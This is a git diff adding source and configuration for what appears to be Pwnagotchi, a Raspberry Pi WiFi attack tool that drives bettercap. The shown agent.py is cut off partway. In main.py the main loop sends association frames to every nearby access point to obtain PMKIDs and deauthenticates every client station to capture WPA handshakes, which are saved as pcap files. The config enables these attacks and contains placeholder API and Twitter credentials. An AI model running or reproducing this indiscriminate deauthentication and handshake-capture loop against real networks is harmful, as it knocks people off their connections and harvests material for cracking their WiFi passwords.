+#PasswordAuthentication yes +#PermitEmptyPasswords no + +# Change to yes to enable challenge-response passwords (beware issues with +# some PAM modules and threads) +ChallengeResponseAuthentication no + +# Kerberos options +#KerberosAuthentication no +#KerberosOrLocalPasswd yes +#KerberosTicketCleanup yes +#KerberosGetAFSToken no + +# GSSAPI options +#GSSAPIAuthentication no +#GSSAPICleanupCredentials yes +#GSSAPIStrictAcceptorCheck yes +#GSSAPIKeyExchange no + +# Set this to 'yes' to enable PAM authentication, account processing, +# and session processing. If this is enabled, PAM authentication will +# be allowed through the ChallengeResponseAuthentication and +# PasswordAuthentication. Depending on your PAM configuration, +# PAM authentication via ChallengeResponseAuthentication may bypass +# the setting of "PermitRootLogin without-password". +# If you just want the PAM account and session checks to run without +# PAM authentication, then enable this but set PasswordAuthentication +# and ChallengeResponseAuthentication to 'no'. +UsePAM yes + +#AllowAgentForwarding yes +#AllowTcpForwarding yes +#GatewayPorts no +X11Forwarding yes +#X11DisplayOffset 10 +#X11UseLocalhost yes +#PermitTTY yes +PrintMotd no +#PrintLastLog yes +#TCPKeepAlive yes +#PermitUserEnvironment no +#Compression delayed +#ClientAliveInterval 0 +#ClientAliveCountMax 3 +#UseDNS no +#PidFile /var/run/sshd.pid +#MaxStartups 10:30:100 +#PermitTunnel no +#ChrootDirectory none +#VersionAddendum none + +# no default banner path +#Banner none + +# Allow client to pass locale environment variables +AcceptEnv LANG LC_* + +# override default of no subsystems +Subsystem sftp /usr/lib/openssh/sftp-server + +# Example of overriding settings on a per-user basis +#Match User anoncvs +# X11Forwarding no +# AllowTcpForwarding no +# PermitTTY no +# ForceCommand cvs server diff --git a/sdcard/rootfs/root/pwnagotchi/config.yml b/sdcard/rootfs/root/pwnagotchi/config.yml new file mode 100644 index 0000000..540b872 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/config.yml @@ -0,0 +1,139 @@ +# main algorithm configuration +main: + # monitor interface to use + iface: mon0 + # command to run to bring the mon interface up in case it's not up already + mon_start_cmd: /usr/bin/monstart + mon_stop_cmd: /usr/bin/monstop + mon_max_blind_epochs: 50 + # log file + log: /var/log/pwnagotchi.log + # if true, will not restart the wifi module + no_restart: false + # access points to ignore + whitelist: + - Casa-2.4 + - LOTS_OF_MALWARE + # if not null, filter access points by this regular expression + filter: null + # cryptographic key for identity + pubkey: /etc/ssh/ssh_host_rsa_key.pub + +ai: + # if false, only the default 'personality' will be used + enabled: true + path: /root/brain.nn + # 1.0 - laziness = probability of start training + laziness: 0.1 + # how many epochs to train on + epochs_per_episode: 50 + params: + # discount factor + gamma: 0.99 + # the number of steps to run for each environment per update + n_steps: 1 + # value function coefficient for the loss calculation + vf_coef: 0.25 + # entropy coefficient for the loss calculation + ent_coef: 0.01 + # maximum value for the gradient clipping + max_grad_norm: 0.5 + # the learning rate + learning_rate: 0.0010 + # rmsprop decay parameter + alpha: 0.99 + # rmsprop epsilon + epsilon: 0.00001 + # the verbosity level: 0 none, 1 training information, 2 tensorflow debug + verbose: 1 + # type of scheduler for the learning rate update ('linear', 'constant', 'double_linear_con', 'middle_drop' or 'double_middle_drop') + lr_schedule: 'constant' + # the log location for tensorboard (if None, no logging) + tensorboard_log: null + +personality: + # advertise our presence + advertise: true + # perform a deauthentication attack to client stations in order to get full or half handshakes + deauth: true + # send association frames to APs in order to get the PMKID + associate: true + # list of channels to recon on, or empty for all channels + channels: [] + # minimum WiFi signal strength in dBm + min_rssi: -200 + # number of seconds for wifi.ap.ttl + ap_ttl: 120 + # number of seconds for wifi.sta.ttl + sta_ttl: 300 + # time in seconds to wait during channel recon + recon_time: 30 + # number of inactive epochs after which recon_time gets multiplied by recon_inactive_multiplier + max_inactive_scale: 2 + # if more than max_inactive_scale epochs are inactive, recon_time *= recon_inactive_multiplier + recon_inactive_multiplier: 2 + # time in seconds to wait during channel hopping if activity has been performed + hop_recon_time: 10 + # time in seconds to wait during channel hopping if no activity has been performed + min_recon_time: 5 + # maximum amount of deauths/associations per BSSID per session + max_interactions: 3 + # maximum amount of misses before considering the data stale and triggering a new recon + max_misses_for_recon: 5 + # number of active epochs that triggers the excited state + excited_num_epochs: 10 + # number of inactive epochs that triggers the bored state + bored_num_epochs: 15 + # number of inactive epochs that triggers the sad state + sad_num_epochs: 25 + +# ui configuration +ui: + # ePaper display can update every 3 secs anyway + fps: 0.3 + display: + enabled: true + rotation: 180 + video: + enabled: true + address: '10.0.0.2' + port: 8080 + +# twitter bot data +twitter: + enabled: false + consumer_key: aaa + consumer_secret: aaa + access_token_key: aaa + access_token_secret: aaa + +# bettercap rest api configuration +bettercap: + # api scheme://hostname:port username and password + scheme: http + hostname: localhost + port: 8081 + username: user + password: pass + # folder where bettercap stores the WPA handshakes, given that + # wifi.handshakes.aggregate will be set to false and individual + # pcap files will be created in order to minimize the chances + # of a single pcap file to get corrupted + handshakes: /root/handshakes + # events to mute in bettercap's events stream + silence: + - ble.device.new + - ble.device.lost + - ble.device.disconnected + - ble.device.connected + - ble.device.service.discovered + - ble.device.characteristic.discovered + - wifi.client.new + - wifi.client.lost + - wifi.client.probe + - wifi.ap.new + - wifi.ap.lost + - mod.started + + + diff --git a/sdcard/rootfs/root/pwnagotchi/data/images/face_happy.bmp b/sdcard/rootfs/root/pwnagotchi/data/images/face_happy.bmp new file mode 100644 index 0000000000000000000000000000000000000000..8f3e857b7bcaff9b73030daf36a2b74b654f29c2 GIT binary patch literal 11398 zcmeI0W3(j67KL})wr$(CZQHhO+qP}nwr$(plaZMb8Oo~L)A!B$)3sK0oH%Fi{Y7Ne ztu<@%mKc~E<}0IrAhA((G~N}Bw;u#H`=yO$*kIP%Xp({X^5e%3{QC6^fByWzzkmM- z5Fh{o1`LQmfdV0L;J^qHBnW~A4T@mFf+2YD;0O^S1VV-kiBO?JA#~`_2ooj@!iEit zaN)useE9H)5Fr90MvRC^ks={-A$IK8 zh!ZCc;>L}Oc=6&Pe*E}IkRSmPCQOJ#i4q}k;>1XjBngrxO^Rg6k|BBW*leC{v~k%9bsQa^=dQeEIUIP@w`UR;-9hl`5ff z<;tj1r3$K6t%_>Zs-b%I>Znnp25Q!ej7`diCm|e*OAr(4YYt zHf)GSjT)hG^xlXw#+*+O}Wp?B}z=+mbU z`u6RMe*OBPfB*g%Fkk=%4jhOd;TSPu1V)Y=iBY3Q zVf5(H7&B%J#*Q6}apT5e{P^*hFku2FPMnBIlO|#E6kHN z24>EjiCME|VfO6Vm@{V%=FXjqdGqFB{`~n^uwVfeE?kI3ixy$=;>B39WC@loU5aJP zmSOqwZrq4Xn>Jzd=FQl$ zWec`$-HL77wqg7B?bxwn2X^kX#ICJI<&YnGsbLY$q{_25#QGiCedB;r8v@xO3+Y?%utN zd-v|){{8!S@ZbR+K75Erj~?Oi);q~j+ zc=P5B-oAZ{ckkZe{rmU$@ZkeKe*B0}pFZL9=g;`^bYz=du9~ZiTk9x!{3)POSAbXSRGpS;?ymH%T zVTQ`I%Wfa+U5@Nyu6=1Aka&rGT9u-9cpI&46-l8jbG0v{EL3C;jE!W|cBqG6DUar` zPh24?4KwCXxhju89jiIG)%&+x@~x7X4B}qccthYEgsRn((21}*Mp6kQPaDx@?rgaa zL+k)g43`;2n`2}1J6y}_6703j!zfns4OeqatkAX&;sgpqX~V8aK4v!KO4bt#4^#^; z%02A(b9&{HY$?m>kfA)4#LiZbdb4SRg#;(qb0wO*aJ5+L@6j_wnUW;#(eSmRwSF$t zw*5n(8@Toi5YOUk#Uq?hnu^DlhWafZ=ZWhj+KW}gwjE^oeX}M{X^|6iA10mKO)p%n zl|<+wX|%NxtcGhj&5?G@%wihddGOd0ldAy}q;(?q3~NqV{OUfTDnp?cvHri|+DE1k zbv4tq$?Q1VshQ+HAzaNvbod^*mdrK4W3(5r8`tW4zLiI=mm9lq`L>7qI?s(&j+$h! zwp{Q4Ze}{jKgL^inYX`|?>z{{h6YgvFh}=Ds zpBS|S^tNRH;l8BHoLtFzq;RZGTi0`@T;&M4c%JI=`I-@ynHlL;v@0-nBg@F_x!E1uI9>o`(RiX~f7Aqh;ZDKUkjoNC1c?T$*hRn&0< zQkq;-!Pl0>8k4^jF+#T^S<*|CsY5%KEXL4L(+ypniLR1z6_Ye~SQeLyWM^OnH&jX~ zSMf-5`mM57LCrSG*%heKkaC%sX$664utr2FsM*FxTm{U4b|Gw6kG;&dqv0DhwlwQ|`+@XmVkuWYJttGi5TRAYsg)<8mlY z>EwuRr|-EUQO3&_sa)|><)lt5v$Ggy=2lrjf>U<0A<3}xVjAlSN>L;2Yzs4J?n_vl zi#Yf_8PS$H;f#Dq4J_J)D}abeXz*Y@-L-ZCXp+U1QptVz3}O>I=8ft9tKg-&TCm$e zW}K91c(oYKSyZP2wy5U6WagPm$4-iEcN*4}g|l!&yJRlAuoh!z-&eI83MqzJY2R$n zjb^nCY{Cav=?cTp8YXmC(?VxU`k{;jcI^a zCKbA@jH|h@+l^hKeydF{YCUz?N~d!F&-W}@3)VLO9BL#mE?05E&X{ZZM(G4=@8*ns z1IA@=!8$NE=1jg&^1&)t?f3%HjNrM--_8FHD}9?pkht@$n_4--eXSos8(>g%za_qe em$M0ty?lwGi;=n9@4im%Ydw|gYtbHqfPVn-dL-!p literal 0 HcmV?d00001 diff --git a/sdcard/rootfs/root/pwnagotchi/data/screenrc.auto b/sdcard/rootfs/root/pwnagotchi/data/screenrc.auto new file mode 100644 index 0000000..0d775f9 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/data/screenrc.auto @@ -0,0 +1,48 @@ +defutf8 on + +shell -${SHELL} +defscrollback 1024 +startup_message off +altscreen on +autodetach on + +activity "activity in %n (%t)" +bell_msg "bell in %n (%t)" + +vbell on +vbell_msg "WTF DUDE ??!!" +vbellwait 1 + +# set terminal emulator to xterm mode +term xterm +# Make the output buffer large for (fast) xterms. +termcapinfo xterm* ti@:te@ +# tell screen how to set colors +termcapinfo xterm 'Co#256:AB=\E[48;5;%dm:AF=\E[38;5;%dm' +# allow bold colors +attrcolor b ".I" +# erase background with current bg color +defbce "on" + +# ctrl + { left, right } +bindkey ^[[1;5D prev +bindkey ^[[1;5C next +bindkey ^[[5D prev +bindkey ^[[5C next +bindkey ^[b prev +bindkey ^[f next +bindkey ^[[D prev +bindkey ^[[C next + +screen -t shell +screen -t auto-mode /bin/bash -c "/root/pwnagotchi/scripts/main.py" +screen -t bettercap /usr/bin/bettercap -caplet http-ui -eval "!/usr/bin/monstart; set wifi.interface mon0" + +select log + +backtick 1 0 0 cpuusage +backtick 2 5 5 memusage + +hardstatus alwayslastline +hardstatus string '%{= kG}[ %{G}%H %{g}][%= %{= kw}%?%-Lw%?%{r}(%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][cpu %1`][mem %2`][%{B} %m-%d %{W}%c %{g}]' + diff --git a/sdcard/rootfs/root/pwnagotchi/data/screenrc.manual b/sdcard/rootfs/root/pwnagotchi/data/screenrc.manual new file mode 100644 index 0000000..4e66adf --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/data/screenrc.manual @@ -0,0 +1,48 @@ +defutf8 on + +shell -${SHELL} +defscrollback 1024 +startup_message off +altscreen on +autodetach on + +activity "activity in %n (%t)" +bell_msg "bell in %n (%t)" + +vbell on +vbell_msg "WTF DUDE ??!!" +vbellwait 1 + +# set terminal emulator to xterm mode +term xterm +# Make the output buffer large for (fast) xterms. +termcapinfo xterm* ti@:te@ +# tell screen how to set colors +termcapinfo xterm 'Co#256:AB=\E[48;5;%dm:AF=\E[38;5;%dm' +# allow bold colors +attrcolor b ".I" +# erase background with current bg color +defbce "on" + +# ctrl + { left, right } +bindkey ^[[1;5D prev +bindkey ^[[1;5C next +bindkey ^[[5D prev +bindkey ^[[5C next +bindkey ^[b prev +bindkey ^[f next +bindkey ^[[D prev +bindkey ^[[C next + +screen -t shell +screen -t manual-mode /bin/bash -c "/root/pwnagotchi/scripts/main.py --manual" +screen -t bettercap /usr/bin/bettercap -caplet http-ui -eval "!/usr/bin/monstart; set wifi.interface mon0" + +select log + +backtick 1 0 0 cpuusage +backtick 2 5 5 memusage + +hardstatus alwayslastline +hardstatus string '%{= kG}[ %{G}%H %{g}][%= %{= kw}%?%-Lw%?%{r}(%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][cpu %1`][mem %2`][%{B} %m-%d %{W}%c %{g}]' + diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/.idea/.gitignore b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/.gitignore new file mode 100644 index 0000000..5c98b42 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/.gitignore @@ -0,0 +1,2 @@ +# Default ignored files +/workspace.xml \ No newline at end of file diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/.idea/dictionaries/evilsocket.xml b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/dictionaries/evilsocket.xml new file mode 100644 index 0000000..485496d --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/dictionaries/evilsocket.xml @@ -0,0 +1,9 @@ + + + + featurize + featurizer + logits + + + \ No newline at end of file diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/.idea/inspectionProfiles/profiles_settings.xml b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/inspectionProfiles/profiles_settings.xml new file mode 100644 index 0000000..105ce2d --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/inspectionProfiles/profiles_settings.xml @@ -0,0 +1,6 @@ + + + + \ No newline at end of file diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/.idea/misc.xml b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/misc.xml new file mode 100644 index 0000000..65531ca --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/misc.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/.idea/modules.xml b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/modules.xml new file mode 100644 index 0000000..bb83e26 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/.idea/scripts.iml b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/scripts.iml new file mode 100644 index 0000000..6711606 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/scripts.iml @@ -0,0 +1,11 @@ + + + + + + + + + + \ No newline at end of file diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/.idea/vcs.xml b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/vcs.xml new file mode 100644 index 0000000..bc59970 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/bettercap/__init__.py b/sdcard/rootfs/root/pwnagotchi/scripts/bettercap/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/bettercap/client.py b/sdcard/rootfs/root/pwnagotchi/scripts/bettercap/client.py new file mode 100644 index 0000000..98c71c2 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/bettercap/client.py @@ -0,0 +1,40 @@ +import requests +from requests.auth import HTTPBasicAuth + +import core + + +class Client(object): + def __init__(self, hostname='localhost', scheme='http', port=8081, username='user', password='pass'): + self.hostname = hostname + self.scheme = scheme + self.port = port + self.username = username + self.password = password + self.url = "%s://%s:%d/api" % (scheme, hostname, port) + self.auth = HTTPBasicAuth(username, password) + + def _decode(self, r, verbose_errors=True): + try: + return r.json() + except Exception as e: + if r.status_code == 200: + core.log("error while decoding json: error='%s' resp='%s'" % (e, r.text)) + else: + err = "error %d: %s" % (r.status_code, r.text.strip()) + if verbose_errors: + core.log(err) + raise Exception(err) + return r.text + + def session(self): + r = requests.get("%s/session" % self.url, auth=self.auth) + return self._decode(r) + + def events(self): + r = requests.get("%s/events" % self.url, auth=self.auth) + return self._decode(r) + + def run(self, command, verbose_errors=True): + r = requests.post("%s/session" % self.url, auth=self.auth, json={'cmd': command}) + return self._decode(r, verbose_errors=verbose_errors) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/blink.sh b/sdcard/rootfs/root/pwnagotchi/scripts/blink.sh new file mode 100755 index 0000000..48345ef --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/blink.sh @@ -0,0 +1,12 @@ +#!/bin/bash + +for i in `seq 1 $1`; +do + echo 0 >/sys/class/leds/led0/brightness + sleep 0.3 + echo 1 >/sys/class/leds/led0/brightness + sleep 0.3 +done + +echo 0 >/sys/class/leds/led0/brightness +sleep 0.3 diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/core/__init__.py b/sdcard/rootfs/root/pwnagotchi/scripts/core/__init__.py new file mode 100644 index 0000000..ddb77cd --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/core/__init__.py @@ -0,0 +1,54 @@ +import sys +import glob +import os +import time +import subprocess +from threading import Lock +from datetime import datetime + +logfile = None +loglock = Lock() + + +def log(msg): + tstamp = str(datetime.now()) + line = "[%s] %s" % (tstamp, msg.rstrip()) + print(line) + sys.stdout.flush() + if logfile is not None: + with loglock: + with open(logfile, 'a+t') as fp: + fp.write("%s\n" % line) + + +def secs_to_hhmmss(secs): + mins, secs = divmod(secs, 60) + hours, mins = divmod(mins, 60) + return '%02d:%02d:%02d' % (hours, mins, secs) + + +def total_unique_handshakes(path): + expr = os.path.join(path, "*.pcap") + return len(glob.glob(expr)) + + +def iface_address(ifname): + output = subprocess.getoutput("/usr/sbin/ifconfig %s" % ifname) + for line in output.split("\n"): + line = line.strip() + if line.startswith("inet "): + return line.split(' ')[1].strip() + return None + +def led(on=True): + with open('/sys/class/leds/led0/brightness', 'w+t') as fp: + fp.write("%d" % (0 if on is True else 1)) + + +def blink(times=1, delay=0.3): + for t in range(0, times): + led(True) + time.sleep(delay) + led(False) + time.sleep(delay) + led(True) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/main.py b/sdcard/rootfs/root/pwnagotchi/scripts/main.py new file mode 100755 index 0000000..4aeb781 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/main.py @@ -0,0 +1,131 @@ +#!/usr/bin/python3 +import argparse +import yaml +import time +import traceback + +import core +import pwnagotchi + +from pwnagotchi.log import SessionParser +import pwnagotchi.voice as voice +from pwnagotchi.agent import Agent +from pwnagotchi.ui.display import Display + +parser = argparse.ArgumentParser() + +parser.add_argument('-C', '--config', action='store', dest='config', default='/root/pwnagotchi/config.yml') + +parser.add_argument('--manual', dest="do_manual", action="store_true", default=False, help="Manual mode.") +parser.add_argument('--clear', dest="do_clear", action="store_true", default=False, + help="Clear the ePaper display and exit.") + +args = parser.parse_args() + +if args.do_clear: + print("clearing the display ...") + from pwnagotchi.ui.waveshare import EPD + + epd = EPD() + epd.init(epd.FULL_UPDATE) + epd.Clear(0xff) + quit() + +with open(args.config, 'rt') as fp: + config = yaml.safe_load(fp) + +display = Display(config=config, state={'name': '%s>' % pwnagotchi.name()}) +agent = Agent(view=display, config=config) + +core.log("%s@%s (v%s)" % (pwnagotchi.name(), agent._identity, pwnagotchi.version)) +# for key, value in config['personality'].items(): +# core.log(" %s: %s" % (key, value)) + +if args.do_manual: + core.log("entering manual mode ...") + + log = SessionParser(config['main']['log']) + + core.log("the last session lasted %s (%d completed epochs, trained for %d), average reward:%s (min:%s max:%s)" % ( + log.duration_human, + log.epochs, + log.train_epochs, + log.avg_reward, + log.min_reward, + log.max_reward)) + + while True: + display.on_manual_mode(log) + time.sleep(1) + if config['twitter']['enabled'] and log.is_new() and Agent.is_connected() and log.handshakes > 0: + import tweepy + + core.log("detected a new session and internet connectivity!") + + picture = '/tmp/pwnagotchi.png' + + display.update() + display.image().save(picture, 'png') + display.set('status', 'Tweeting...') + display.update() + + try: + auth = tweepy.OAuthHandler(config['twitter']['consumer_key'], config['twitter']['consumer_secret']) + auth.set_access_token(config['twitter']['access_token_key'], config['twitter']['access_token_secret']) + api = tweepy.API(auth) + + tweet = voice.on_log_tweet(log) + api.update_with_media(filename=picture, status=tweet) + log.save_session_id() + + core.log("tweeted: %s" % tweet) + except Exception as e: + core.log("error: %s" % e) + + quit() + +core.logfile = config['main']['log'] + +agent.start_ai() +agent.setup_events() +agent.set_ready() +agent.start_monitor_mode() +agent.start_event_polling() + +# print initial stats +agent.next_epoch() + +while True: + try: + # recon on all channels + agent.recon() + # get nearby access points grouped by channel + channels = agent.get_access_points_by_channel() + # check for free channels to use + agent.check_channels(channels) + # for each channel + for ch, aps in channels: + agent.set_channel(ch) + + if not agent.is_stale() and agent.any_activity(): + core.log("%d access points on channel %d" % (len(aps), ch)) + + # for each ap on this channel + for ap in aps: + # send an association frame in order to get for a PMKID + agent.associate(ap) + # deauth all client stations in order to get a full handshake + for sta in ap['clients']: + agent.deauth(ap, sta) + + # An interesting effect of this: + # + # From Pwnagotchi's perspective, the more new access points + # and / or client stations nearby, the longer one epoch of + # its relative time will take ... basically, in Pwnagotchi's universe, + # WiFi electromagnetic fields affect time like gravitational fields + # affect ours ... neat ^_^ + agent.next_epoch() + except Exception as e: + core.log("main loop exception: %s" % e) + core.log("%s" % traceback.format_exc()) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py new file mode 100644 index 0000000..ff43494 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py @@ -0,0 +1,48 @@ +import subprocess + +version = '1.0.0a' + +_name = None + + +def name(): + global _name + if _name is None: + with open('/etc/hostname', 'rt') as fp: + _name = fp.read().strip() + return _name + + +def mem_usage(): + out = subprocess.getoutput("free -m") + for line in out.split("\n"): + line = line.strip() + if line.startswith("Mem:"): + parts = list(map(int, line.split()[1:])) + tot = parts[0] + used = parts[1] + free = parts[2] + return used / tot + + return 0 + + +def cpu_load(): + with open('/proc/stat', 'rt') as fp: + for line in fp: + line = line.strip() + if line.startswith('cpu '): + parts = list(map(int, line.split()[1:])) + user_n = parts[0] + sys_n = parts[2] + idle_n = parts[3] + tot = user_n + sys_n + idle_n + return (user_n + sys_n) / tot + return 0 + + +def temperature(celsius=True): + with open('/sys/class/thermal/thermal_zone0/temp', 'rt') as fp: + temp = int(fp.read().strip()) + c = int(temp / 1000) + return c if celsius else ((c * (9 / 5)) + 32) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py new file mode 100644 index 0000000..e0e7864 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py @@ -0,0 +1,510 @@ +import time +import json +import os +import re +import socket +from datetime import datetime +import _thread + +import core + +from bettercap.client import Client +from pwnagotchi.mesh.advertise import AsyncAdvertiser +from pwnagotchi.ai.train import AsyncTrainer + +RECOVERY_DATA_FILE = '/root/.pwnagotchi-recovery' + + +class Agent(Client, AsyncAdvertiser, AsyncTrainer): + def __init__(self, view, config): + Client.__init__(self, config['bettercap']['hostname'], + config['bettercap']['scheme'], + config['bettercap']['port'], + config['bettercap']['username'], + config['bettercap']['password']) + AsyncAdvertiser.__init__(self, config, view) + AsyncTrainer.__init__(self, config) + + self._started_at = time.time() + self._filter = None if config['main']['filter'] is None else re.compile(config['main']['filter']) + self._current_channel = 0 + self._view = view + self._access_points = [] + self._last_pwnd = None + self._history = {} + self._handshakes = {} + + @staticmethod + def is_connected(): + try: + socket.create_connection(("www.google.com", 80)) + return True + except OSError: + pass + return False + + def on_ai_ready(self): + self._view.on_ai_ready() + + def set_ready(self): + self._view.on_starting() + + def set_free_channel(self, channel): + self._view.on_free_channel(channel) + + def set_bored(self): + self._view.on_bored() + + def set_sad(self): + self._view.on_sad() + + def set_excited(self): + self._view.on_excited() + + def set_lonely(self): + self._view.on_lonely() + + def set_rebooting(self): + self._view.on_rebooting() + + def setup_events(self): + core.log("connecting to %s ..." % self.url) + + for tag in self._config['bettercap']['silence']: + try: + self.run('events.ignore %s' % tag, verbose_errors=False) + except Exception as e: + pass + + def _reset_wifi_settings(self): + mon_iface = self._config['main']['iface'] + self.run('set wifi.interface %s' % mon_iface) + self.run('set wifi.ap.ttl %d' % self._config['personality']['ap_ttl']) + self.run('set wifi.sta.ttl %d' % self._config['personality']['sta_ttl']) + self.run('set wifi.rssi.min %d' % self._config['personality']['min_rssi']) + self.run('set wifi.handshakes.file %s' % self._config['bettercap']['handshakes']) + self.run('set wifi.handshakes.aggregate false') + + def start_monitor_mode(self): + mon_iface = self._config['main']['iface'] + mon_start_cmd = self._config['main']['mon_start_cmd'] + restart = not self._config['main']['no_restart'] + has_mon = False + + while has_mon is False: + s = self.session() + for iface in s['interfaces']: + if iface['name'] == mon_iface: + core.log("found monitor interface: %s" % iface['name']) + has_mon = True + break + + if has_mon is False: + if mon_start_cmd is not None and mon_start_cmd != '': + core.log("starting monitor interface ...") + self.run('!%s' % mon_start_cmd) + else: + core.log("waiting for monitor interface %s ..." % mon_iface) + time.sleep(1) + + core.log("handshakes will be collected inside %s" % self._config['bettercap']['handshakes']) + + self._reset_wifi_settings() + + wifi_running = self.is_module_running('wifi') + if wifi_running and restart: + core.log("restarting wifi module ...") + self.restart('wifi.recon') + self.run('wifi.clear') + elif not wifi_running: + core.log("starting wifi module ...") + self.start('wifi.recon') + + self.start_advertising() + + def wait_for(self, t, sleeping=True): + self._view.wait(t, sleeping) + self._epoch.track(sleep=True, inc=t) + + def check_channels(self, channels): + busy_channels = [ch for ch, aps in channels] + # if we're hopping and no filter is configured + if self._config['personality']['channels'] == [] and self._config['main']['filter'] is None: + # check if any of the non overlapping channels is free + for ch in self._epoch.non_overlapping_channels: + if ch not in busy_channels: + self._epoch.non_overlapping_channels[ch] += 1 + core.log("channel %d is free from %d epochs" % (ch, self._epoch.non_overlapping_channels[ch])) + elif self._epoch.non_overlapping_channels[ch] > 0: + self._epoch.non_overlapping_channels[ch] -= 1 + # report any channel that has been free for at least 3 epochs + for ch, num_epochs_free in self._epoch.non_overlapping_channels.items(): + if num_epochs_free >= 3: + core.log("channel %d has been free for %d epochs" % (ch, num_epochs_free)) + self.set_free_channel(ch) + + def recon(self): + recon_time = self._config['personality']['recon_time'] + max_inactive = self._config['personality']['max_inactive_scale'] + recon_mul = self._config['personality']['recon_inactive_multiplier'] + channels = self._config['personality']['channels'] + + if self._epoch.inactive_for >= max_inactive: + recon_time *= recon_mul + + self._view.set('channel', '*') + + if not channels: + self._current_channel = 0 + # core.log("RECON %ds" % recon_time) + self.run('wifi.recon.channel clear') + else: + # core.log("RECON %ds ON CHANNELS %s" % (recon_time, ','.join(map(str, channels)))) + try: + self.run('wifi.recon.channel %s' % ','.join(map(str, channels))) + except Exception as e: + core.log("error: %s" % e) + + self.wait_for(recon_time, sleeping=False) + + def _filter_included(self, ap): + return self._filter is None or \ + self._filter.match(ap['hostname']) is not None or \ + self._filter.match(ap['mac']) is not None + + def set_access_points(self, aps): + self._access_points = aps + self._epoch.observe(aps, self._advertiser.peers() if self._advertiser is not None else ()) + return self._access_points + + def get_access_points(self): + whitelist = self._config['main']['whitelist'] + aps = [] + try: + s = self.session() + for ap in s['wifi']['aps']: + if ap['hostname'] not in whitelist: + if self._filter_included(ap): + aps.append(ap) + except Exception as e: + core.log("error: %s" % e) + + aps.sort(key=lambda ap: ap['channel']) + return self.set_access_points(aps) + + def get_access_points_by_channel(self): + aps = self.get_access_points() + channels = self._config['personality']['channels'] + grouped = {} + + # group by channel + for ap in aps: + ch = ap['channel'] + # if we're sticking to a channel, skip anything + # which is not on that channel + if channels != [] and ch not in channels: + continue + + if ch not in grouped: + grouped[ch] = [ap] + else: + grouped[ch].append(ap) + + # sort by more populated channels + return sorted(grouped.items(), key=lambda kv: len(kv[1]), reverse=True) + + def _find_ap_sta_in(self, station_mac, ap_mac, session): + for ap in session['wifi']['aps']: + if ap['mac'] == ap_mac: + for sta in ap['clients']: + if sta['mac'] == station_mac: + return (ap, sta) + return (ap, {'mac': station_mac, 'vendor': ''}) + return None + + def _update_uptime(self, s): + secs = time.time() - self._started_at + self._view.set('uptime', core.secs_to_hhmmss(secs)) + self._view.set('epoch', '%04d' % self._epoch.epoch) + + def _update_counters(self): + tot_aps = len(self._access_points) + tot_stas = sum(len(ap['clients']) for ap in self._access_points) + if self._current_channel == 0: + self._view.set('aps', '%d' % tot_aps) + self._view.set('sta', '%d' % tot_stas) + else: + aps_on_channel = len([ap for ap in self._access_points if ap['channel'] == self._current_channel]) + stas_on_channel = sum( + [len(ap['clients']) for ap in self._access_points if ap['channel'] == self._current_channel]) + self._view.set('aps', '%d (%d)' % (aps_on_channel, tot_aps)) + self._view.set('sta', '%d (%d)' % (stas_on_channel, tot_stas)) + + def _update_handshakes(self, new_shakes=0): + if new_shakes > 0: + self._epoch.track(handshake=True, inc=new_shakes) + + tot = core.total_unique_handshakes(self._config['bettercap']['handshakes']) + txt = '%d (%d)' % (len(self._handshakes), tot) + + if self._last_pwnd is not None: + txt += ' [%s]' % self._last_pwnd + + self._view.set('shakes', txt) + + if new_shakes > 0: + self._view.on_handshakes(new_shakes) + + def _update_advertisement(self, s): + run_handshakes = len(self._handshakes) + tot_handshakes = core.total_unique_handshakes(self._config['bettercap']['handshakes']) + started = s['started_at'].split('.')[0] + started = datetime.strptime(started, '%Y-%m-%dT%H:%M:%S') + started = time.mktime(started.timetuple()) + 